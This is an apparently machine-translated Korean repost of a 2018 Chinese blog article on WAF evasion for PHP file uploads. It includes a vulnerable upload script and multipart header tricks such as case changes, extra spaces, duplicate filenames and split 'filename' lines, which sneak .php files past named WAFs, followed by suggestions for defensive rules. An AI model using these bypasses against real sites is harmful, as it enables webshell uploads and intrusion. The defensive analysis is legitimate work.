파일 업로드 와 WAF 공격 및 방어

17117 단어
Author:JoyChouDate:20180613
1. 머리말
본 논문 의 테스트 환경 은 모두
  • nginx/1.10.3
  • PHP 5.5.34

  • 언어 및 웹 서버 와 관련 된 특성 이 있 습 니 다. 문제 가 있 는 부분 은 지적 해 주 십시오.
    2. 파일 업로드 의 특징
    먼저 파일 업로드 의 특징 을 알 아 보고 이 파일 업로드 코드 의 HTTP 요청 을 캡 처 합 니 다.
    upload.php
    if(isset($_POST['submit_x'])){
        $upfile = $_FILES['filename']['name'];     $tempfile = $_FILES['filename']['tmp_name'];     $ext = trim(get_extension($upfile));     //                    if(in_array($ext,array('xxx'))){         die('Warning! File type error..');     }     $savefile = 'upload/' . $upfile;     if(move_uploaded_file($tempfile, $savefile)){         die('Upload success! FileName: '.$savefile);     }else{         die('Upload failed..');     } } //        ,      function get_extension($file){     return strtolower(substr($file, strrpos($file, '.')+1)); } ?>     
    "post" action="#" enctype="multipart/form-data">    "file" name="file_x" value=""/>    "submit" name="submit_x" value="upload"/>   

    청구 하 다.
    POST /upload.php HTTP/1.1
    Host: localhost
    Content-Length: 274 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2 Connection: close ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="file_x"; filename="xx.php"  ------WebKitFormBoundaryuKS18BporicXJfTx Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryuKS18BporicXJfTx-- 

    그 중에서 특징 을 가 져 오 는 것 은:
  • 헤더 의 Content - Type 에 다음 과 같은 특징 이 존재 하도록 요청 합 니 다.
  • multipart/form-data (이 요청 은 파일 업로드 요청 임 을 나타 낸다)
  • boundary 문자열 이 존재 합 니 다 (역할 은 구분자 로 POST 데 이 터 를 구분 합 니 다)
  • POST 의 내용 은 다음 과 같은 특징 이 있다.
  • Content-Disposition
  • name
  • filename

  • POST 의 boundary 값 은 바로 Content - Type 의 값 이 맨 앞 에 두 개 -- 를 더 한 것 이다. 마지막 표지 가 끝 난 boundary
  • 를 제외 하고
  • 마지막 표지 가 끝 난 boundary 는 마지막 으로 두 개 -- (테스트 시 마지막 줄 의 boundary 를 삭제 해도 업로드 에 성공 합 니 다)
  • 3. WAF 차단 방법
    악성 파일 이 올 라 오 는 것 을 막 기 위해 WAF 를 직접 쓴다 면 생각해 보 자.당신 은 어떻게 방어 해 야 합 니까?
  • 파일 이름
  • 파일 이름 을 분석 하여 블랙리스트 안에 있 는 지 판단 한다.

  • 파일 내용
  • 파일 내용 을 분석 하여 웹 셸 여 부 를 판단 합 니 다.

  • 파일 디 렉 터 리 권한
  • 이 기능 은 호스트 WAF 가 실현 되 어야 한다. 예 를 들 어 내 가 본 클 라 우 드 자물쇠 등 이다.


  • 현재 시중 에서 흔히 볼 수 있 는 것 은 파일 이름 을 해석 하 는 것 이 고, 소수의 WAF 는 장정 과 같은 파일 내용 을 해석 하 는 것 이다.아래 내용 은 모두 파일 이름 을 기반 으로 해 석 됩 니 다.
    대략적인 절 차 는 다음 과 같다.
  • Request Header 의 Content-Type 값 중 boundary 값 가 져 오기
  • 첫 번 째 boundary 값 에 따라 POST 데 이 터 를 분석 하여 파일 이름 가 져 오기
  • 파일 이름 이 차단 블랙리스트 안에 있 는 지 판단
  • 춘 형 이 쓴 이 분석 파일 에 올 린 코드 를 보면 이해 할 수 있 지만 이 코드 는 이미 유지 되 지 않 았 다.그러나 이 코드 는 파일 이름 을 분 석 했 지만 돌아 가 는 방식 이 많 았 다.
    lua - resty - upload 이 코드 는 유지 되 고 있 지만 내용 만 가 져 왔 을 뿐 파일 이름 은 스스로 해석 해 야 합 니 다.
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2
    Content-Disposition: form-data; name="file_x"; filename="xx.php"
    Content-Type: text/javascript  ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

    되돌아오다
    read: ["header",["Content-Disposition","form-data; name=\"file_x\"; filename=\"xx.php\"","Content-Disposition: form-data; name=\"file_x\"; filename=\"xx.php\""]]
    read: ["header",["Content-Type","text\/javascript","Content-Type: text\/javascript"]] read: ["body",""] read: ["part_end"] read: ["header",["Content-Disposition","form-data; name=\"submit_x\"","Content-Disposition: form-data; name=\"submit_x\""]] read: ["body","upload"] read: ["part_end"] read: ["eof"] read: ["eof"]

    4. 돌아 가기
    파일 이름 을 가 져 오 는 곳 은 Content-Disposition: form-data; name="file_x"; filename="xx.php" 과 Content - Type 에 있 기 때문에 돌아 가 는 곳 도 이 두 곳 에 있 습 니 다.
    4.1 따옴표 빼 기
    Content-Disposition: form-data; name=file_x; filename="xx.php"
    Content-Disposition: form-data; name=file_x; filename=xx.php Content-Disposition: form-data; name="file_x"; filename=xx.php

    4.2 작은 따옴표 가 작은 따옴표 로 변 한다.
    Content-Disposition: form-data; name='file_x'; filename='xx.php'

    작은 따옴표, 작은 따옴표, 모두 업로드 할 수 있 습 니 다.
    4.3 대소 문자
    이 세 개의 고정된 문자열 을 대소 문자 로 변환 합 니 다.
  • Content-Disposition
  • name
  • filename

  • 예 를 들 어 name 을 Name 으로, Content - Disposition 을 content - disposition 으로 변환 합 니 다.2 년 전 안전 개 를 피해 올 라 왔 는데 지금 은 어 떨 지 모 르 겠 어 요.
    4.4 스페이스 바
    :  ;   = 빈 칸 을 1 개 이상 추가 하 였 으 나, 테스트 는 filename 만 = 앞 에 빈 칸 을 추가 하여 업로드 에 실 패 했 습 니 다.
    filename = 뒤에 빈 칸 을 추가 하면 2017 년 10 월 04 일 까지 한 방패 WAF 를 돌 수 있 습 니 다.
    4.5 Content - Disposition 값 제거 또는 수정
    어떤 WAF 는 분석 할 때 Content-Disposition 값 이 반드시 form-data 이 라 고 생각 하여 우회 했다.2 년 전 안전 개 를 피해 올 라 왔 는데 지금 은 어 떨 지 모 르 겠 어 요.
    Content-Disposition: name='file_x'; filename='xx.php'

    4.6 name 과 filename 의 순 서 를 교환 합 니 다.
    Content - Disposition 이 맨 앞 에 있어 야 하기 때문에 name 과 filename 의 순서 만 교환 할 수 있 습 니 다.
    어떤 WAF 는 name 이 앞 에 있 고 filename 이 뒤에 있 기 때문에 아래 자세 가 Bypass 로 이 어 질 수 있 습 니 다.
    Content-Disposition: form-data; filename="xx.php"; name=file_x

    4.7 개 이상 의 boundary
    마지막 으로 올 린 파일 은 test. txt 가 아 닌 test. php 이지 만 첫 번 째 만 가 져 오 면 Bypass 입 니 다.
    ------WebKitFormBoundaryj1oRYFW91eaj8Ex2
    Content-Disposition: form-data; name="file_x"; filename="test.txt"
    Content-Type: text/javascript  ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="file_x"; filename="test.php" Content-Type: text/javascript  ------WebKitFormBoundaryj1oRYFW91eaj8Ex2 Content-Disposition: form-data; name="submit_x" upload ------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

    4.8 개 이상 의 filename
    최종 업로드 에 성공 한 파일 이름 은 test. php 입 니 다.하지만 파일 이름 을 분석 할 때 첫 번 째 로 해 석 됩 니 다.정규 기본 값 은 첫 번 째 와 일치 합 니 다.
    Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php" 

    4.9 여 개의 분점
    파일 을 분석 할 때 파일 이름 을 분석 하지 못 해 돌아 갈 수 있 습 니 다.
    Content-Disposition: form-data; name="file_x";;; filename="test.php"

    4.10 multipart/form-DATA
    이런 우회 가 매우 적 을 것 이 고 대부분 대소 문 자 를 소홀히 할 것 이다.php 와 자바 모두 지원 합 니 다.
    Content-Type: multipart/form-DATA

    4.11 Header 는 boundary 앞에서 임의의 문 자 를 추가 합 니 다.
    이것 은 단지 PHP 가 매우 가죽 이 라 고 말 할 수 있 을 뿐, 이것 은 모두 지지 할 수 있다.해 보면 자바 가 틀 릴 거 야.
    Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

    4.12 filename 줄 바 꾸 기
    PHP 지원, 자바 지원 하지 않 습 니 다.2017 년 10 월 18 일 까지 이 방법 은 어떤 방 패 를 돌아 갈 수 있다.
    Content-Disposition: form-data; name="file_x"; file
    name="test.php"

    이런 PHP 도 지원 합 니 다.
    fi
    lename

    4.13 name 과 filename 에 임의의 문자열 추가
    PHP 업로드 성공, 자바 업로드 실패.
    Content-Disposition: name="file_x"; bypass waf upload; filename="test.php"; 

    4.14 기타
    다른 시스템 특성 을 이용 한 것 은 묘사 하지 않 는 것 이지 본 고의 중점 이 아니다.관심 있 으 시 면 제 Waf Bypass 의 길 (upload 편) 을 보 세 요.
    5. 사례 테스트
    5.1 모 방패
    한 방패 WAF 가 악성 파일 업로드 에 대한 차단 을 테스트 했다.방법 이 비교적 거 칠 고 판단 은 다음 과 같다.
  • POST 데이터 가 존재 하 는 지 판단 하기 Content-Disposition: 문자열
  • filename 의 파일 이름 이 블랙리스트 에 있 는 지 판단 합 니 다
  • 둘 이 만족 하면 차단 하고 다른 불필요 한 판단 을 하지 않 으 면 정규 도 쓰기 쉽다.
    테스트: curl -v -d "Content-Disposition:filename=xx.php;" yq.aliyun.com 가로막다
    이런 방식 은 확실히 차단 상황 이 있다.그러나 2017 년 10 월 04 일 까지 한 방패 의 업 로드 는 filename= 뒤에 빈 칸 을 추가 해 돌아 갈 수 있다.POC: Content-Disposition: form-data; name="file_x"; filename=  "xx.php";
    밑 에 이런 것 도 돌아 갈 수 있어 요.
    Content-Disposition: form-data; name="file_x"; file
    name="test.php"

    5.2 ucloud
    먼저 UCloud WAF 를 사용 한 사이트 테스트 를 찾 아 보 세 요.
    가로막다
    Content-Disposition: form-data; name="file_x";filename="xx.php"

    form - data 를 지우 고 돌아 가기
    Content-Disposition:  name="file_x";filename="xx.php"

    다른 건 테스트 안 해 볼 게..
    6. How to Play
    이렇게 많은 것 을 보 았 는데, 그 규칙 은 도대체 어떻게 써 야 합 니까?제 개인 적 인 생각 은 다음 과 같 습 니 다.
  • 파일 업로드 이기 때문에 Content - Type: multipart / form - data 가 있어 야 합 니 다. 이것 이 존재 하 는 지 여 부 를 먼저 판단 합 니 다.
  • POST 데 이 터 는 모든 줄 을 삭제 하고 유사 한 규칙 이 있 는 지 일치 합 니 다.

  • 이것 은 단지 제 개인 적 인 생각 일 뿐 입 니 다. 더 좋 은 생각 이 있다 면 토론 을 교류 하 는 것 을 환영 합 니 다.
    7. Reference
  • WAF 공 방 연구 의 네 가지 차원 Bypass WAF
  • i. 춘추 에 우 향 회원 제 를 출시 하고 회원 가입 시 다양한 과정, 실험, CTF 경기 문제 등 유 료 콘 텐 츠 를 무료 로 즐 길 수 있 으 며 회원 의 날 전속 복지, 취업 추천 등 다양한 특권 복 지 를 누 릴 수 있 습 니 다. 더 많은 활동 정 보 는 클릭 할 수 있 습 니 다.https://bbs.ichunqiu.com/thread-40795-1-1.html알 아 요 ~
    다음으로 전송:https://www.cnblogs.com/ichunqiu/p/9183955.html

    좋은 웹페이지 즐겨찾기